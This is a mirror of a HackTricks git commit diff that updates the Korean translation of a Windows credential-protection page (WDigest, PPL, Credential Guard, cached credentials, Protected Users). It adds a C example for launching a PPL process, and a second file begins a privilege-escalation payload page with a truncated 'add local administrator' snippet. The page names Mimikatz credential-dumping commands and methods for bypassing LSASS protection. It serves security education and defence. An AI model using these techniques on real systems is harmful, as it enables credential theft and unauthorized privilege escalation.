mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
parent
c0ab524bb3
commit
f93465fb57
@ -1,51 +1,107 @@
|
||||
# Windows Credentials Protections
|
||||
# Windows 자격 증명 보호
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WDigest
|
||||
|
||||
[WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) 프로토콜은 Windows XP와 함께 도입되었으며, HTTP 프로토콜을 통한 인증을 위해 설계되었으며 **Windows XP에서 Windows 8.0 및 Windows Server 2003에서 Windows Server 2012까지 기본적으로 활성화되어 있습니다**. 이 기본 설정은 **LSASS(로컬 보안 권한 하위 시스템 서비스)에서 평문 비밀번호 저장**을 초래합니다. 공격자는 Mimikatz를 사용하여 **이 자격 증명을 추출할 수 있습니다**:
|
||||
The [WDigest](<https://technet.microsoft.com/pt-pt/library/cc778868(v=ws.10).aspx?f=255&MSPPError=-2147217396>) 프로토콜은 Windows XP에서 도입되었으며 HTTP Protocol을 통한 인증을 위해 설계되었습니다. 이 프로토콜은 **Windows XP부터 Windows 8.0 및 Windows Server 2003부터 Windows Server 2012까지 기본적으로 활성화되어 있습니다**. 이 기본 설정으로 인해 **LSASS (Local Security Authority Subsystem Service)에 평문 비밀번호가 저장됩니다**. 공격자는 Mimikatz를 사용하여 **이 자격증명을 추출할 수 있습니다**:
|
||||
```bash
|
||||
sekurlsa::wdigest
|
||||
```
|
||||
이 기능을 **켜거나 끄려면**, _**UseLogonCredential**_ 및 _**Negotiate**_ 레지스트리 키가 _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ 내에서 "1"로 설정되어야 합니다. 이 키가 **없거나 "0"으로 설정되어 있으면**, WDigest는 **비활성화**됩니다:
|
||||
이 기능을 **끄거나 켜려면**, _**UseLogonCredential**_ 및 _**Negotiate**_ 레지스트리 키가 _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ 안에서 "1"로 설정되어야 합니다. 이러한 키가 **없거나 또는 "0"으로 설정되어 있다면**, WDigest는 **비활성화됩니다**:
|
||||
```bash
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
|
||||
```
|
||||
## LSA 보호 (PP 및 PPL 보호 프로세스)
|
||||
## LSA 보호 (PP & PPL 보호된 프로세스)
|
||||
|
||||
**Protected Process (PP)** 및 **Protected Process Light (PPL)**는 **Windows 커널 수준 보호**로, **LSASS**와 같은 민감한 프로세스에 대한 무단 접근을 방지하기 위해 설계되었습니다. **Windows Vista**에서 도입된 **PP 모델**은 원래 **DRM** 집행을 위해 만들어졌으며, **특별 미디어 인증서**로 서명된 바이너리만 보호할 수 있었습니다. **PP**로 표시된 프로세스는 **동일하거나 더 높은 보호 수준**을 가진 다른 **PP 프로세스**만 접근할 수 있으며, 그 경우에도 **특별히 허용되지 않는 한 제한된 접근 권한**만 가집니다.
|
||||
**Protected Process (PP)** 및 **Protected Process Light (PPL)**은 **Windows 커널 수준 보호**로, **LSASS**와 같은 민감한 프로세스에 대한 무단 액세스를 방지하도록 설계되었습니다. **Windows Vista**에서 도입된 **PP 모델**은 원래 **DRM** 강제를 위해 만들어졌으며, **특수 미디어 인증서**로 서명된 바이너리만 보호될 수 있었습니다. **PP**로 표시된 프로세스는 **동일하게 PP이거나 더 높은 보호 수준을 가진 다른 PP 프로세스**만 접근할 수 있으며, 그 경우에도 명시적으로 허용되지 않으면 **제한된 접근 권한**만 허용됩니다.
|
||||
|
||||
**PPL**은 **Windows 8.1**에서 도입된 PP의 더 유연한 버전입니다. **디지털 서명의 EKU (Enhanced Key Usage)** 필드를 기반으로 한 **"보호 수준"**을 도입하여 **더 넓은 사용 사례**(예: LSASS, Defender)를 허용합니다. 보호 수준은 `EPROCESS.Protection` 필드에 저장되며, 이는 다음을 포함하는 `PS_PROTECTION` 구조체입니다:
|
||||
- **Type** (`Protected` 또는 `ProtectedLight`)
|
||||
**PPL**은 **Windows 8.1**에서 도입된 보다 유연한 버전의 PP입니다. 디지털 서명의 **EKU (Enhanced Key Usage)** 필드를 기반으로 한 **"보호 수준"**을 도입하여 **LSASS, Defender** 등에서 **더 넓은 사용 사례**를 허용합니다. 보호 수준은 `EPROCESS.Protection` 필드에 저장되며, 이는 다음을 포함하는 `PS_PROTECTION` 구조체입니다:
|
||||
- **Type** (`Protected` or `ProtectedLight`)
|
||||
- **Signer** (예: `WinTcb`, `Lsa`, `Antimalware` 등)
|
||||
|
||||
이 구조체는 단일 바이트로 패킹되어 **누가 누구에게 접근할 수 있는지**를 결정합니다:
|
||||
- **더 높은 서명자 값은 더 낮은 값에 접근할 수 있습니다**
|
||||
- **PPL은 PP에 접근할 수 없습니다**
|
||||
- **보호되지 않은 프로세스는 어떤 PPL/PP에도 접근할 수 없습니다**
|
||||
이 구조체는 단일 바이트로 패킹되어 **누가 누구에 접근할 수 있는지**를 결정합니다:
|
||||
- **Higher signer values can access lower ones**
|
||||
- **PPLs can’t access PPs**
|
||||
- **Unprotected processes can't access any PPL/PP**
|
||||
|
||||
### 공격적 관점에서 알아야 할 사항
|
||||
### 공격 관점에서 알아야 할 점
|
||||
|
||||
- **LSASS가 PPL로 실행될 때**, 일반 관리자 컨텍스트에서 `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)`를 사용하여 열려고 하면 **`0x5 (Access Denied)`**로 실패합니다. `SeDebugPrivilege`가 활성화되어 있어도 마찬가지입니다.
|
||||
- **Process Hacker**와 같은 도구를 사용하거나 `EPROCESS.Protection` 값을 읽어 프로그래밍적으로 **LSASS 보호 수준을 확인할 수 있습니다**.
|
||||
- LSASS는 일반적으로 `PsProtectedSignerLsa-Light` (`0x41`)를 가지며, **더 높은 수준의 서명자로 서명된 프로세스**만 접근할 수 있습니다. 예를 들어 `WinTcb` (`0x61` 또는 `0x62`)입니다.
|
||||
- PPL은 **유저랜드 전용 제한**입니다; **커널 수준 코드는 이를 완전히 우회할 수 있습니다**.
|
||||
- LSASS가 PPL이라고 해도 **커널 셸코드를 실행하거나 적절한 접근 권한을 가진 고급 권한 프로세스를 활용할 수 있다면 자격 증명 덤핑을 방지하지 않습니다**.
|
||||
- **PPL 설정 또는 제거**는 재부팅 또는 **Secure Boot/UEFI 설정**이 필요하며, 이는 레지스트리 변경이 되돌려진 후에도 PPL 설정을 지속할 수 있습니다.
|
||||
- **LSASS가 PPL로 실행될 때**, 일반 관리자 컨텍스트에서 `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)`로 열려고 하면 `SeDebugPrivilege`가 활성화되어 있어도 **0x5 (Access Denied)**로 실패합니다.
|
||||
- `Process Hacker` 같은 도구를 사용하거나 `EPROCESS.Protection` 값을 읽어 프로그래밍적으로 **LSASS 보호 수준을 확인**할 수 있습니다.
|
||||
- LSASS는 일반적으로 `PsProtectedSignerLsa-Light` (`0x41`)를 가지며, 이는 `WinTcb` (`0x61` 또는 `0x62`)와 같은 **더 높은 수준의 signer로 서명된 프로세스만 접근**할 수 있습니다.
|
||||
- **PPL은 Userland 전용 제한**이며, **커널 수준 코드로는 완전히 우회**할 수 있습니다.
|
||||
- LSASS가 PPL이라 하더라도 **kernel shellcode를 실행할 수 있거나 적절한 접근 권한을 가진 고권한 프로세스를 이용할 수 있다면 credential dumping을 방지하지 못합니다.**
|
||||
- PPL 설정 또는 제거는 재부팅 또는 **Secure Boot/UEFI 설정**을 필요로 하며, 레지스트리 변경을 되돌린 후에도 PPL 설정이 지속될 수 있습니다.
|
||||
|
||||
**PPL 보호 우회 옵션:**
|
||||
### 런치 시 PPL 프로세스 생성 (문서화된 API)
|
||||
|
||||
PPL에도 불구하고 LSASS를 덤프하려면 3가지 주요 옵션이 있습니다:
|
||||
1. **서명된 커널 드라이버 (예: Mimikatz + mimidrv.sys)**를 사용하여 **LSASS의 보호 플래그를 제거합니다**:
|
||||
Windows는 확장된 시작 속성 목록(extended startup attribute list)을 사용해 생성 중에 자식 프로세스에 대해 Protected Process Light 수준을 요청하는 문서화된 방법을 제공합니다. 이는 서명 요구사항을 우회하지 않으며 — 대상 이미지는 요청된 signer 클래스에 맞게 서명되어 있어야 합니다.
|
||||
|
||||
Minimal flow in C/C++:
|
||||
```c
|
||||
// Request a PPL protection level for the child process at creation time
|
||||
// Requires Windows 8.1+ and a properly signed image for the selected level
|
||||
#include <windows.h>
|
||||
|
||||
int wmain(int argc, wchar_t **argv) {
|
||||
STARTUPINFOEXW si = {0};
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrSize = 0;
|
||||
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
|
||||
if (!si.lpAttributeList) return 1;
|
||||
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) return 1;
|
||||
|
||||
DWORD level = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // or WINDOWS_LIGHT/LSA_LIGHT/WINTCB_LIGHT
|
||||
if (!UpdateProcThreadAttribute(
|
||||
si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL,
|
||||
&level, sizeof(level), NULL, NULL)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD flags = EXTENDED_STARTUPINFO_PRESENT;
|
||||
if (!CreateProcessW(L"C\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
|
||||
flags, NULL, NULL, &si.StartupInfo, &pi)) {
|
||||
// If the image isn't signed appropriately for the requested level,
|
||||
// CreateProcess will fail with ERROR_INVALID_IMAGE_HASH (577).
|
||||
return 1;
|
||||
}
|
||||
|
||||
// cleanup
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
노트 및 제약:
|
||||
- `STARTUPINFOEX`를 `InitializeProcThreadAttributeList`와 `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, ...)`와 함께 사용한 다음, `EXTENDED_STARTUPINFO_PRESENT`를 `CreateProcess*`에 전달합니다.
|
||||
- 보호 `DWORD`는 `PROTECTION_LEVEL_WINTCB_LIGHT`, `PROTECTION_LEVEL_WINDOWS`, `PROTECTION_LEVEL_WINDOWS_LIGHT`, `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, 또는 `PROTECTION_LEVEL_LSA_LIGHT`와 같은 상수로 설정할 수 있습니다.
|
||||
- 자식 프로세스는 해당 이미지가 그 signer class로 서명된 경우에만 PPL로 시작합니다. 그렇지 않으면 프로세스 생성이 실패하며, 일반적으로 `ERROR_INVALID_IMAGE_HASH (577)` / `STATUS_INVALID_IMAGE_HASH (0xC0000428)`로 나타납니다.
|
||||
- 이것은 우회가 아닙니다 — 적절히 서명된 이미지에 대해 의도된 지원 API입니다. 도구를 강화하거나 PPL로 보호된 구성의 유효성을 검사하는 데 유용합니다.
|
||||
|
||||
최소 로더를 사용한 CLI 예시:
|
||||
- Antimalware signer: `CreateProcessAsPPL.exe 3 C:\Tools\agent.exe --svc`
|
||||
- LSA-light signer: `CreateProcessAsPPL.exe 4 C:\Windows\System32\notepad.exe`
|
||||
|
||||
**Bypass PPL protections options:**
|
||||
|
||||
PPL에도 불구하고 LSASS를 덤프하려면 주요 옵션이 3가지 있습니다:
|
||||
1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)**를 사용하여 **LSASS의 보호 플래그를 제거**합니다.
|
||||
|
||||

|
||||
|
||||
2. **자신의 취약한 드라이버(BYOVD)**를 가져와 커널 코드를 실행하고 보호를 비활성화합니다. **PPLKiller**, **gdrv-loader**, 또는 **kdmapper**와 같은 도구를 사용하면 가능합니다.
|
||||
3. **다른 프로세스에서 열린 LSASS 핸들을 훔친 다음** 이를 **자신의 프로세스에 복제합니다**. 이는 `pypykatz live lsa --method handledup` 기술의 기초입니다.
|
||||
4. **임의의 코드를 해당 주소 공간에 로드할 수 있는 특권 프로세스를 악용하거나 다른 특권 프로세스 내부에 로드하여 PPL 제한을 효과적으로 우회합니다**. [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) 또는 [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump)에서 이 예를 확인할 수 있습니다.
|
||||
2. 취약한 드라이버를 자체적으로 가져와(BYOVD) 커스텀 커널 코드를 실행하고 보호를 비활성화합니다. **PPLKiller**, **gdrv-loader**, 또는 **kdmapper**와 같은 도구들이 이를 가능하게 합니다.
|
||||
3. 다른 프로세스(예: AV 프로세스)가 열어둔 기존 LSASS 핸들을 훔쳐서(steal) 그 핸들을 자신의 프로세스로 **복제(duplicate)** 합니다. 이것이 `pypykatz live lsa --method handledup` 기법의 기반입니다.
|
||||
4. 임의의 코드를 해당 주소 공간이나 다른 권한있는 프로세스 내부에 로드하도록 허용하는 일부 권한있는 프로세스를 악용하여 PPL 제한을 우회합니다. 이에 대한 예시는 [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) 또는 [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump)에서 확인할 수 있습니다.
|
||||
|
||||
**LSASS에 대한 LSA 보호(PPL/PP)의 현재 상태 확인**:
|
||||
**LSASS에 대한 LSA 보호(PPL/PP)의 현재 상태 확인:**
|
||||
```bash
|
||||
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
|
||||
```
|
||||
@ -56,61 +112,61 @@ When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll
|
||||
|
||||
## Credential Guard
|
||||
|
||||
**Credential Guard**는 **Windows 10 (Enterprise 및 Education editions)** 전용 기능으로, **Virtual Secure Mode (VSM)** 및 **Virtualization Based Security (VBS)**를 사용하여 머신 자격 증명의 보안을 강화합니다. 이 기능은 CPU 가상화 확장을 활용하여 주요 프로세스를 보호된 메모리 공간 내에서 격리시켜, 주요 운영 체제의 접근을 차단합니다. 이 격리는 커널조차 VSM의 메모리에 접근할 수 없도록 하여, **pass-the-hash**와 같은 공격으로부터 자격 증명을 효과적으로 보호합니다. **Local Security Authority (LSA)**는 이 안전한 환경 내에서 신뢰할 수 있는 요소로 작동하며, 주요 OS의 **LSASS** 프로세스는 VSM의 LSA와 단순히 통신하는 역할을 합니다.
|
||||
**Credential Guard**, a feature exclusive to **Windows 10 (Enterprise and Education editions)**, enhances the security of machine credentials using **Virtual Secure Mode (VSM)** and **Virtualization Based Security (VBS)**. It leverages CPU virtualization extensions to isolate key processes within a protected memory space, away from the main operating system's reach. This isolation ensures that even the kernel cannot access the memory in VSM, effectively safeguarding credentials from attacks like **pass-the-hash**. The **Local Security Authority (LSA)** operates within this secure environment as a trustlet, while the **LSASS** process in the main OS acts merely as a communicator with the VSM's LSA.
|
||||
|
||||
기본적으로 **Credential Guard**는 활성화되어 있지 않으며, 조직 내에서 수동으로 활성화해야 합니다. 이는 **Mimikatz**와 같은 도구에 대한 보안을 강화하는 데 중요하며, 이러한 도구는 자격 증명을 추출하는 능력이 제한됩니다. 그러나 로그인 시도 중에 자격 증명을 평문으로 캡처하기 위해 사용자 정의 **Security Support Providers (SSP)**를 추가함으로써 취약점을 여전히 악용할 수 있습니다.
|
||||
By default, **Credential Guard** is not active and requires manual activation within an organization. It's critical for enhancing security against tools like **Mimikatz**, which are hindered in their ability to extract credentials. However, vulnerabilities can still be exploited through the addition of custom **Security Support Providers (SSP)** to capture credentials in clear text during login attempts.
|
||||
|
||||
**Credential Guard**의 활성화 상태를 확인하려면, _**HKLM\System\CurrentControlSet\Control\LSA**_ 아래의 레지스트리 키 _**LsaCfgFlags**_를 검사할 수 있습니다. 값이 "**1**"이면 **UEFI lock**이 활성화된 상태, "**2**"는 잠금 없이, "**0**"은 비활성화된 상태를 나타냅니다. 이 레지스트리 확인은 강력한 지표이지만, Credential Guard를 활성화하기 위한 유일한 단계는 아닙니다. 이 기능을 활성화하기 위한 자세한 안내와 PowerShell 스크립트는 온라인에서 확인할 수 있습니다.
|
||||
To verify **Credential Guard**'s activation status, the registry key _**LsaCfgFlags**_ under _**HKLM\System\CurrentControlSet\Control\LSA**_ can be inspected. A value of "**1**" indicates activation with **UEFI lock**, "**2**" without lock, and "**0**" denotes it is not enabled. This registry check, while a strong indicator, is not the sole step for enabling Credential Guard. Detailed guidance and a PowerShell script for enabling this feature are available online.
|
||||
```bash
|
||||
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
|
||||
```
|
||||
포괄적인 이해와 **Credential Guard**를 Windows 10에서 활성화하는 방법 및 **Windows 11 Enterprise 및 Education (버전 22H2)**의 호환 시스템에서 자동으로 활성화하는 방법에 대한 지침은 [Microsoft의 문서](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage)를 방문하세요.
|
||||
For a comprehensive understanding and instructions on enabling **Credential Guard** in Windows 10 and its automatic activation in compatible systems of **Windows 11 Enterprise and Education (version 22H2)**, visit [Microsoft's documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
|
||||
|
||||
자격 증명 캡처를 위한 사용자 지정 SSP 구현에 대한 추가 세부정보는 [이 가이드](../active-directory-methodology/custom-ssp.md)에서 제공됩니다.
|
||||
Further details on implementing custom SSPs for credential capture are provided in [this guide](../active-directory-methodology/custom-ssp.md).
|
||||
|
||||
## RDP RestrictedAdmin 모드
|
||||
## RDP RestrictedAdmin Mode
|
||||
|
||||
**Windows 8.1 및 Windows Server 2012 R2**는 _**RDP를 위한 Restricted Admin 모드**_를 포함하여 여러 가지 새로운 보안 기능을 도입했습니다. 이 모드는 [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) 공격과 관련된 위험을 완화하여 보안을 강화하기 위해 설계되었습니다.
|
||||
**Windows 8.1 and Windows Server 2012 R2** introduced several new security features, including the _**Restricted Admin mode for RDP**_. This mode was designed to enhance security by mitigating the risks associated with [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/) attacks.
|
||||
|
||||
전통적으로 RDP를 통해 원격 컴퓨터에 연결할 때, 자격 증명은 대상 컴퓨터에 저장됩니다. 이는 특히 권한이 상승된 계정을 사용할 때 상당한 보안 위험을 초래합니다. 그러나 _**Restricted Admin 모드**_의 도입으로 이 위험이 크게 줄어듭니다.
|
||||
전통적으로 RDP를 통해 원격 컴퓨터에 연결할 때, 사용자의 자격 증명은 대상 머신에 저장됩니다. 이는 권한이 높은 계정을 사용할 때 특히 큰 보안 위험을 초래합니다. 그러나 _**Restricted Admin mode**_가 도입되면서 이 위험은 상당히 줄어들었습니다.
|
||||
|
||||
**mstsc.exe /RestrictedAdmin** 명령을 사용하여 RDP 연결을 시작할 때, 원격 컴퓨터에 자격 증명을 저장하지 않고 인증이 수행됩니다. 이 접근 방식은 악성 소프트웨어 감염이 발생하거나 악의적인 사용자가 원격 서버에 접근할 경우, 자격 증명이 서버에 저장되지 않기 때문에 손상되지 않도록 보장합니다.
|
||||
mstsc.exe /RestrictedAdmin 명령으로 RDP 연결을 시작하면, 원격 컴퓨터에 대한 인증이 해당 자격 증명을 그곳에 저장하지 않고 수행됩니다. 이렇게 하면 악성코드 감염 또는 원격 서버에 악의적 사용자가 접근하더라도 자격 증명이 서버에 저장되지 않으므로 노출되지 않습니다.
|
||||
|
||||
**Restricted Admin 모드**에서는 RDP 세션에서 네트워크 리소스에 접근하려고 할 때 개인 자격 증명을 사용하지 않으며, 대신 **기계의 ID**가 사용된다는 점에 유의해야 합니다.
|
||||
중요한 점은 **Restricted Admin mode**에서는 RDP 세션에서 네트워크 리소스에 접근하려 할 때 개인 자격 증명을 사용하지 않고 대신 **컴퓨터 신원**이 사용된다는 것입니다.
|
||||
|
||||
이 기능은 원격 데스크톱 연결을 보호하고 보안 위반 시 민감한 정보가 노출되는 것을 방지하는 데 중요한 진전을 나타냅니다.
|
||||
이 기능은 원격 데스크톱 연결을 보호하고 보안 침해 시 민감한 정보가 노출되는 것을 방지하는 데 중요한 진전을 의미합니다.
|
||||
|
||||

|
||||
|
||||
자세한 정보는 [이 리소스](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/)를 방문하세요.
|
||||
자세한 정보는 [this resource](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/)를 참조하세요.
|
||||
|
||||
## 캐시된 자격 증명
|
||||
## Cached Credentials
|
||||
|
||||
Windows는 **Local Security Authority (LSA)**를 통해 **도메인 자격 증명**을 보호하며, **Kerberos** 및 **NTLM**과 같은 보안 프로토콜로 로그온 프로세스를 지원합니다. Windows의 주요 기능 중 하나는 **마지막 10개의 도메인 로그인**을 캐시하여 **도메인 컨트롤러가 오프라인일 때도 사용자가 컴퓨터에 접근할 수 있도록** 하는 것입니다. 이는 회사 네트워크에서 자주 떨어져 있는 노트북 사용자에게 유용합니다.
|
||||
Windows는 **domain credentials**을 통해 **Local Security Authority (LSA)**로 보호하며, **Kerberos** 및 **NTLM**과 같은 보안 프로토콜로 로그온 프로세스를 지원합니다. Windows의 주요 기능 중 하나는 사용자가 **domain controller가 오프라인**인 경우에도 컴퓨터에 액세스할 수 있도록 **마지막 10개의 도메인 로그인**을 캐시하는 기능입니다. 이는 회사 네트워크에서 자주 떨어져 있는 노트북 사용자에게 매우 유용합니다.
|
||||
|
||||
캐시된 로그인 수는 특정 **레지스트리 키 또는 그룹 정책**을 통해 조정할 수 있습니다. 이 설정을 보거나 변경하려면 다음 명령을 사용합니다:
|
||||
캐시된 로그인 수는 특정 **registry key 또는 group policy**를 통해 조정할 수 있습니다. 이 설정을 확인하거나 변경하려면 다음 명령을 사용합니다:
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
이 캐시된 자격 증명에 대한 접근은 엄격하게 제어되며, **SYSTEM** 계정만이 이를 볼 수 있는 필요한 권한을 가지고 있습니다. 이 정보를 접근해야 하는 관리자는 SYSTEM 사용자 권한으로 접근해야 합니다. 자격 증명은 다음 위치에 저장됩니다: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
이 캐시된 자격 증명에 대한 접근은 엄격히 통제되며, 해당 정보를 볼 수 있는 권한은 오직 **SYSTEM** 계정에만 있습니다. 이 정보에 접근해야 하는 관리자는 SYSTEM 사용자 권한으로 접근해야 합니다. 자격 증명은 다음에 저장됩니다: `HKEY_LOCAL_MACHINE\SECURITY\Cache`
|
||||
|
||||
**Mimikatz**는 `lsadump::cache` 명령어를 사용하여 이 캐시된 자격 증명을 추출하는 데 사용될 수 있습니다.
|
||||
**Mimikatz**를 사용해 `lsadump::cache` 명령으로 이 캐시된 자격 증명을 추출할 수 있습니다.
|
||||
|
||||
자세한 내용은 원본 [source](http://juggernaut.wikidot.com/cached-credentials)에서 포괄적인 정보를 제공합니다.
|
||||
자세한 내용은 원문 [source](http://juggernaut.wikidot.com/cached-credentials)에서 확인하세요.
|
||||
|
||||
## 보호된 사용자
|
||||
## Protected Users
|
||||
|
||||
**Protected Users group**의 구성원은 자격 증명 도용 및 남용에 대한 더 높은 수준의 보호를 보장하는 여러 보안 향상을 도입합니다:
|
||||
**Protected Users group**의 구성원 자격은 사용자에게 여러 보안 강화 기능을 적용하여 자격 증명 탈취 및 남용으로부터 더 높은 수준의 보호를 제공합니다:
|
||||
|
||||
- **Credential Delegation (CredSSP)**: **Allow delegating default credentials**에 대한 그룹 정책 설정이 활성화되어 있더라도, 보호된 사용자의 평문 자격 증명은 캐시되지 않습니다.
|
||||
- **Windows Digest**: **Windows 8.1 및 Windows Server 2012 R2**부터 시스템은 보호된 사용자의 평문 자격 증명을 캐시하지 않으며, Windows Digest 상태와 관계없이 적용됩니다.
|
||||
- **NTLM**: 시스템은 보호된 사용자의 평문 자격 증명이나 NT 일방향 함수(NTOWF)를 캐시하지 않습니다.
|
||||
- **Kerberos**: 보호된 사용자의 경우, Kerberos 인증은 **DES** 또는 **RC4 키**를 생성하지 않으며, 초기 티켓 발급 티켓(TGT) 획득을 초과하여 평문 자격 증명이나 장기 키를 캐시하지 않습니다.
|
||||
- **오프라인 로그인**: 보호된 사용자는 로그인 또는 잠금 해제 시 캐시된 검증자가 생성되지 않으므로, 이러한 계정에 대한 오프라인 로그인이 지원되지 않습니다.
|
||||
- **Credential Delegation (CredSSP)**: Group Policy의 **Allow delegating default credentials** 설정이 활성화되어 있어도, Protected Users의 평문 자격 증명은 캐시되지 않습니다.
|
||||
- **Windows Digest**: **Windows 8.1 and Windows Server 2012 R2**부터는 Windows Digest 상태와 관계없이 Protected Users의 평문 자격 증명을 캐시하지 않습니다.
|
||||
- **NTLM**: 시스템은 Protected Users의 평문 자격 증명이나 NT one-way functions (NTOWF)을 캐시하지 않습니다.
|
||||
- **Kerberos**: Protected Users의 경우 Kerberos 인증은 **DES** 또는 **RC4 keys**를 생성하지 않으며, 초기 Ticket-Granting Ticket (TGT) 획득을 넘어서 평문 자격 증명이나 장기 키를 캐시하지 않습니다.
|
||||
- **Offline Sign-In**: Protected Users는 로그인 또는 잠금 해제 시 캐시된 검증자(verifier)가 생성되지 않으므로 오프라인 로그인은 지원되지 않습니다.
|
||||
|
||||
이러한 보호는 **Protected Users group**의 구성원이 장치에 로그인하는 순간 활성화됩니다. 이는 다양한 자격 증명 손상 방법으로부터 보호하기 위한 중요한 보안 조치가 마련되어 있음을 보장합니다.
|
||||
이러한 보호는 사용자가 **Protected Users group**의 구성원으로 기기에 로그인하는 순간 적용됩니다. 이는 다양한 자격 증명 침해 방법으로부터 보호하기 위한 중요한 보안 조치가 활성화되도록 합니다.
|
||||
|
||||
자세한 정보는 공식 [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)을 참조하십시오.
|
||||
자세한 정보는 공식 [documentation](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) 를 참조하세요.
|
||||
|
||||
**Table from** [**the docs**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
|
||||
|
||||
@ -133,4 +189,12 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
|
||||
| Server Operators | Server Operators | Server Operators | Server Operators |
|
||||
|
||||
## 참고자료
|
||||
|
||||
- [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- [STARTUPINFOEX structure (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-startupinfoexw)
|
||||
- [InitializeProcThreadAttributeList (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist)
|
||||
- [UpdateProcThreadAttribute (Win32 API)](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute)
|
||||
- [LSASS RunAsPPL – background and internals](https://itm4n.github.io/lsass-runasppl/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 페이지는 Windows 로컬 권한 상승 또는 사후 활용 중에 유용한 **작고 독립적인 C 코드 조각**을 모은 것입니다. 각 페이로드는 **복사-붙여넣기 친화적**으로 설계되었으며, Windows API / C 런타임만 필요하고 `i686-w64-mingw32-gcc` (x86) 또는 `x86_64-w64-mingw32-gcc` (x64)로 컴파일할 수 있습니다.
|
||||
이 페이지는 Windows Local Privilege Escalation 또는 post-exploitation 중에 유용한 **작고 독립적인 C snippets**을 모아둔 것입니다. 각 payload는 **복사-붙여넣기 친화적**으로 설계되었으며, Windows API / C runtime만 필요하고 `i686-w64-mingw32-gcc` (x86) 또는 `x86_64-w64-mingw32-gcc` (x64)로 컴파일할 수 있습니다.
|
||||
|
||||
> ⚠️ 이 페이로드는 프로세스가 이미 작업을 수행하는 데 필요한 최소 권한(예: `SeDebugPrivilege`, `SeImpersonatePrivilege`, 또는 UAC 우회를 위한 중간 무결성 컨텍스트)을 가지고 있다고 가정합니다. 이들은 취약점을 이용하여 임의의 네이티브 코드 실행이 가능한 **레드팀 또는 CTF 환경**을 위해 설계되었습니다.
|
||||
> ⚠️ 이 payload들은 프로세스가 이미 해당 작업을 수행하는 데 필요한 최소 권한(예: `SeDebugPrivilege`, `SeImpersonatePrivilege`, 또는 UAC bypass를 위한 medium-integrity 컨텍스트)을 가지고 있다고 가정합니다. 이들은 취약점을 이용해 임의의 네이티브 코드 실행을 얻은 **red-team 또는 CTF 설정**에서 사용하기 위한 것입니다.
|
||||
|
||||
---
|
||||
|
||||
## Add local administrator user
|
||||
## 로컬 관리자 사용자 추가
|
||||
```c
|
||||
// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
|
||||
#include <stdlib.h>
|
||||
@ -20,14 +20,14 @@ return 0;
|
||||
```
|
